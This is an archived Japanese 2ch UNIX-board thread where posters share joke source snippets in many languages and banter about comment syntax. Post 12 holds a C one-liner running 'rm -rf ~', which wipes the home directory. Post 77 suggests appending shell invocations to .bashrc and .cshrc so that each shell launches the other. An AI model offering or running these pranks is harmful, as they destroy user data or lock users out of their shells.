1read 100read
2013年07月UNIX363: ひたすら何かのソースコードを公開するスレ (152) TOP カテ一覧 スレ一覧 2ch元 削除依頼
RISC型CPUについて (175)
ひたすら何かのソースコードを公開するスレ (152)
4.4BSDの設計と実装 (188)
UNIXガーディアンズ (103)
NetBSD/pc98専門スレ (173)
新品のULTRA2(200MhzX2)を3万で買ったんだ! (100)

ひたすら何かのソースコードを公開するスレ


1 :03/07/12 〜 最終レス :2012/04/21
なんか、うpしてくれ

2 :
main()

3 :
{

4 :
return main();
}
5 :あぼーん:あぼーん
あぼーん

6 :
};

7 :
void

8 :
seq void main () {
par {
new main();
new main();
}
}

9 :
PROGRAM UNKO
WRITE(*,*)'うんこ'
STOP
END

10 :
rtnval(int c)
{
if (c == 1) {
return 1;
} else {
return 0;
}
}


11 :
/*1は死んでね*/

12 :
#include <stdlib.h>
void main(void) { system( "rm -rf ~"); }

13 :
<html><head><meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS"><title>ひたすら何かのソースコードを公開するスレ</title><script type="text/javascript" defer><!--
function l(e){var N=g("NAME"),M=g("MAIL"),i;with(document) for(i=0;i<forms.length;i++)if(forms[i].FROM&&forms[i].mail)with(forms[i])
{FROM.value=N;mail.value=M;}}onload=l;function g(key,tmp1,tmp2,xx1,xx2,xx3,len){tmp1=" "+document.cookie+";";xx1=xx2=0;len=tmp1.length;
while(xx1<len){xx2=tmp1.indexOf(";",xx1);tmp2=tmp1.substring(xx1+1,xx2);
xx3=tmp2.indexOf("=");
if(tmp2.substring(0,xx3)==key)return unescape(tmp2.substring(xx3+1,xx2-xx1-1));xx1=xx2+1;}return "";}
//--></script></head><body bgcolor=#efefef text=black link=blue alink=red vlink=#660099><a href="../../../../unix/">
■掲示板に戻る■</a> <a href=-100>1-</a> <a href=l50>最新50</a><p><font size=+1 color=red>ひたすら何かのソースコードを公開するスレ
</font><dl><dt>1 :<font color=green><b>
名無しさん@お腹いっぱい。</b></font> :03/07/12 17:41<dd>なんか、うpしてくれ<br><br><dt>2 :<

14 :
>>13
4点。

15 :
10 CLS :CLEAR
20 DIM G$(13)*1,M(16,5)
30 X=1:Y=1:P=1:T=40:W=20:E=15:M(0,0)=7:M(1,0)=4
40 FOR J=0 TO 13
50 READ A:G$(J)= CHR$ A
60 NEXT
70 DATA 32,224,124,156,157,158,159,45,150,152,153,154,155,135
80 LINE (102,-1)-(106,48),B
90 PRINT "-";G$(4)
100 LOCATE 18,1:PRINT "Next"
110 LOCATE 18,3:PRINT "Score"
120 FOR J=0 TO E
130 L= RND 17-1:M= RND 6-1
140 IF L>1 OR M>1 LOCATE L,M:PRINT G$(13):M(L,M)=13
150 NEXT

16 :
160 *A
170 M=0:N= RND 6
180 LOCATE 19,2:PRINT "[";G$(N);"]"
190 *B
200 IF K$<>"" FOR J=0 TO W*8:NEXT
210 LOCATE X,Y:PRINT G$(M(X,Y))
220 K$= INKEY$
230 SWITCH K$
240 CASE "4":IF X>0 LET X=X-1
250 CASE "6":IF X<16 LET X=X+1
260 CASE "8":IF Y>0 LET Y=Y-1
270 CASE "2":IF Y<5 LET Y=Y+1
280 CASE " ":IF M(X,Y)<7 LOCATE X,Y:PRINT G$(N):BEEP 1,200,20:M(X,Y)=N:M=1
290 ENDSWITCH
300 FOR J=0 TO W:NEXT
310 LOCATE X,Y:PRINT "ロ"
320 C=(C+1) MOD T
330 IF C=0 GOSUB *C
340 IF M=1 GOTO *A ELSE *B

17 :
350 *C
360 BEEP 1,71,9
370 IF P<0 OR P>16 OR Q<0 OR Q>5 GOTO *D
380 SWITCH M(P,Q)
390 CASE 1:IF H=0 LET U=1:V=0 ELSE IF H=1 LET U=-1:V=0 ELSE F=1
400 CASE 2:IF H=2 LET U=0:V=-1 ELSE IF H=3 LET U=0:V=1 ELSE F=1
410 CASE 3:IF H=1 LET U=0:V=1:H=3 ELSE IF H=2 LET U=1:V=0:H=0 ELSE F=1
420 CASE 4:IF H=0 LET U=0:V=1:H=3 ELSE IF H=2 LET U=-1:V=0:H=1 ELSE F=1
430 CASE 5:IF H=1 LET U=0:V=-1:H=2 ELSE IF H=3 LET U=1:V=0:H=0 ELSE F=1
440 CASE 6:IF H=0 LET U=0:V=-1:H=2 ELSE IF H=3 LET U=-1:V=0:H=1 ELSE F=1
450 DEFAULT :F=1
460 ENDSWITCH
470 IF F=1 GOTO *D
480 M(P,Q)=M(P,Q)+6
490 LOCATE P,Q:PRINT G$(M(P,Q))
500 P=P+U:Q=Q+V:S=S+1
510 LOCATE 20,4:PRINT STR$ S
520 RETURN
530 *D
540 LOCATE 18,1:PRINT "-GAME-"
550 LOCATE 18,2:PRINT "-OVER-"
18 :あぼーん:あぼーん
あぼーん

19 :
program HaxaHaxa;
var I : Integer;
begin
  Randomize;
  repeat
    I := Random(18) + 1;
    Writeln('>>', I, 'さん(;´Д`)ハァハァ');
  until False;
end.

20 :
#include <stdio.h>
int main()
{
printf("なんか、うpしてくれ\n");
main();
return 0;
}

21 :
puts "こんばんは"

22 :
/*

23 :
#cat HaxaHaxa.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void main(){
srand((unsigned int)clock());
for(;;)
printf(">>%d さん(;´Д`)ハァハァ\n",(int)(1+rand()*21./RAND_MAX));
}
#gcc -o HaxaHaxa HaxaHaxa.c
#chmod +=x HaxaHaxa
#HaxaHaxa

24 :
/* Copyright (c) 1984, 1986, 1987, 1988, 1989 AT&T */
/* All Rights Reserved */
/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */
/* The copyright notice above does not evidence any */
/* actual or intended publication of such source code. */

25 :
main(){return system("start http://pc.2ch.net/unix/index.html#3");}

26 :
/*
 * 重複だろ。
 *
 * みんなでCのコードを1行ずつ書いていくスレ
 * http://pc.2ch.net/test/read.cgi/unix/1005032504/
 *
 */

27 :
//いやいや EXEC=C言語でなくても
//SYS001 DD *
いいんだろう。
/*

28 :
カケ "オマエモナー"

29 :
% んじゃ
% こんなんでも
% いいわけ?

30 :
-- いいんでないかい?

31 :
(* ここはこれ以降コメントで会話するスレとなりますた。 *)

32 :
# >>30のコメント形式は
# なに?
# はじめてみた。

33 :
-- vhdl

34 :
; >>32
; psじゃないのか?

35 :
( ps は % だろ? )

36 :
-- lingo も
-- この形式でつ

37 :
<!-- http://infoserv.ics.es.osaka-u.ac.jp/public/netnews-archive/FJ.ARCHIVES/fj.archives.documents/comments-in-computer-languages -->

38 :
# うっかりコメントからはみ出したら
# どうなりますか?

39 :
' >>37
' あは、既にあるのか。

40 :
" (´-`).。oO(うっかりって...) "

41 :
$$ そりゃコメントからはみ出れば
$$ コンパイルエラーになる罠

42 :
#いんcるで <stぢお.h>
いんt まいn()
{
pりんtf(">>1Rよ")
}

43 :
>>42
なんか、カンドーしたっす。

44 :
{ >>45 どうよ? }

45 :
begin
  なんともねーよ
end

46 :
static void
create_init(const void *udata __unused)
{
int error;
int s;
s = splhigh();
error = fork1(&proc0, RFFDG | RFPROC, &initproc);
if (error)
panic("cannot fork init: %d\n", error);
initproc->p_flag |= P_INMEM | P_SYSTEM;
cpu_set_fork_handler(initproc, start_init, NULL);
remrunqueue(initproc);
splx(s);
}

47 :
ここまでだれもhello world 書かないッつーのも不自然だな。
project: (('Hello'))
class 'Hello' specializing 'Console':
[
goal:-
writeln("Hello World!").
]

48 :
/*(・∀・)
/*

49 :
>>47
それは何?
ついでだ、漏れも
Pervasives.print_string "Hello World!\n";;

50 :
いろいろな言語でHello world スレは、どこかにあったような...

51 :
Linux板だよ。
 いろんな言語で「Hello World」だ。ゴラァ
 http://pc.2ch.net/test/read.cgi/linux/986981055/

52 :
向こうのスレのこれ笑った
http://pc.2ch.net/test/read.cgi/linux/986981055/22

53 :
# Hello World
#
# Hell Word ?

54 :
メインとは
    「こんにちは。」を 表示して 改行すること。

55 :
: プログラムは日本語なのにそれ自体の名前が何故か英語っぽいMINDか....

56 :
C SOUIEBA BETSUNI SENTOU GA C DE NAKUTEMO IINDAYONA.
C MOU 15 NEN GURAI TUKATTE NAIKEDO YUBI HA TYANTO
C OBOETEIRU YOUDA.

57 :
<html> </html>

58 :
rem そういえばこんなのもあったなぁ

59 :
スレタイが「ソース "コード"」なので、
「オリバーソース」だの「おたふくソース」だのといった
お決まりのギャグが使えない罠。

60 :
,[>+<-]-[>[>>+>+<<<-]>>>[<<<+>>>-]<[-[-[-[-[-[-[-[-[-[>+<[-]]]]]]]]]]]>
[-<<+<----------[>>+>+<<<-]>>>[<<<+>>>-]<[-[-[-[-[-[-[-[-[-[>+<[-]]]]]]]]]]]>]<<<]

61 :
>>59
オリバーソースだのおたふくソースだの言おうとしたのか?(藁)

62 :
伝説の「詰めC言語」再びかと思ったよ。


63 :
BASIC 1行プログラムのほうが好きだな

64 :
#!/bin/dqn
WTO "hello?"
END

65 :
main;
()!*.*
}

66 :
>>61
とっておきのギャグなんだが、
どうしてもと言うなら譲ってあげてもいいよ
67 :あぼーん:あぼーん
あぼーん

68 :
<tr>
age<br><br>
</tr>

69 :
>>64
日○情報のQ言語?
つーか日○関係者だろ!(w

70 :
世界最小のソース
awk '1' filename


71 :
sed '' filename

72 :
>>71
ほんとや(o●o);


73 :
"こう見えても、Smalltalkのコメントなわけだが。".

74 :

"ごめ。あげちった。".

75 :
>>73
40で既出

76 :
localhost [~]$ cat /usr/bin/uma.sh
#!/bin/sh
/usr/bin/uma.sh
localhost [~]$

77 :
(~/.bashrcの末尾に追加)
csh

(~/.cshrcの末尾に追加)
bash

さぁ!Let's Logout!!

78 :
>>77
よく元性善説鯖にお見えになる人?

79 :
10 REM ****************************************
20 REM * 住民基本台帳ネットワークシステム *
30 REM * *
40 REM * Version 1.0.0 *
50 REM ****************************************
60 GOTO 10

80 :
#dqn

81 :
class TabDialog : public QTabDialog
{
Q_OBJECT
public:
TabDialog();
TabDialog(loginSlot *data);
void setLoginData(loginSlot *data);
public slots:
void cancelClicked();
protected:
QString filename;
QFileInfo fileinfo;
void setupTab1();
void setupTab2();
void setupTab3();
private:
loginSlot loginData;
};

82 :
                      {
               ;0 uJnfaJ
      ;(,,i plJoM ollaH,,)tfu!Jd
                      }
                 ()u!ew fu!
          ,,ч'o!pfs,, apnl⊃u!#

83 :
文字化けかと思った

84 :
文字化けじゃなかったのか!!!!!!!!!

85 :
#include <stdio.h>
main()
{
for(;;){
puts(">>1 カエレ");
}
}

86 :
>>85はgettext位使えるようになれ。

87 :
煽りも国際化を考慮しなきゃならないとは(w

88 :
gettextを使えるようになってもpoファイルは日本語のくらいしか作れない罠

89 :
このくらいはほしいよね。
ja
ja_2CH
ja_KANSAI
ja_TOUHOKU

90 :
tcshのゴミportsじゃないんだから(苦笑

91 :
sub 2ch
print "糞スレたてた>>1さん";
92 :あぼーん:あぼーん
あぼーん

93 :
>>15-17
もしかして、ポケコンPC-E500用のソース?

94 :
E500にSWITCH文はなかったと思われ
(後継機種にはあったような気はするが)

95 :
ってことはPC-E650かな?

96 :
ひたすら何かのソースコード

97 :
ひたすら「伺か」のソースコード???

98 :
2ch DQN房();

99 :
女の子がデスクトップに常駐するやつだっけ

100read 1read
1read 100read
TOP カテ一覧 スレ一覧 2ch元 削除依頼
セキュアOSってドウヨ? (112)
LinuxがAIXに取って代わる、IBMが言及 (112)
UNIXってエロゲーできますか? (163)
★商用UNIX序列★ (108)
漢のコマンド (135)
あんたたちの職業は何ですか? (193)
--log9.info------------------
「的場」ファイヤーズ「浩二」 (145)
自分が神だと思うバンドをこっそり暴露するスレ (172)
【METAL】ジャパニーズメタルコア【CORE】 (177)
スターリン再結成なの? (131)
極左政党「馬鹿」 (158)
スカ十って意味不明なんです (119)
東京事変を超えるパンクバンドっているの? (126)
【狂気のカリスマ】鳥井みゆきA【アングラの女王】 (152)
暇だからSwankysとかラジオで垂れ流す (110)
二人バンド組んだ (160)
スキンズなのにいきものがかり好きな奴の数→ (102)
70’Punkは最高 (136)
女 「どんな音楽聴くの?」この質問にどう答えるか (156)
【395日】 ホモ電痛 【式神飛ばす】 (136)
【サワキ】火の宮【カスミ】 (148)
パンクスが好きなメタル! (137)
--log55.com------------------
iPhone 8/8 Plus Part30
iPhone 12
【YouTuber】Appleが大好きんだよ ★3【アフィ】
【AAPL】Apple株価 その24
Apple Watch 交換バンド ケース スタンド 11本目
Apple Watch Part 203
iPhone7/7 Plus Part 62
IDにアップルが出るまで頑張るスレ★22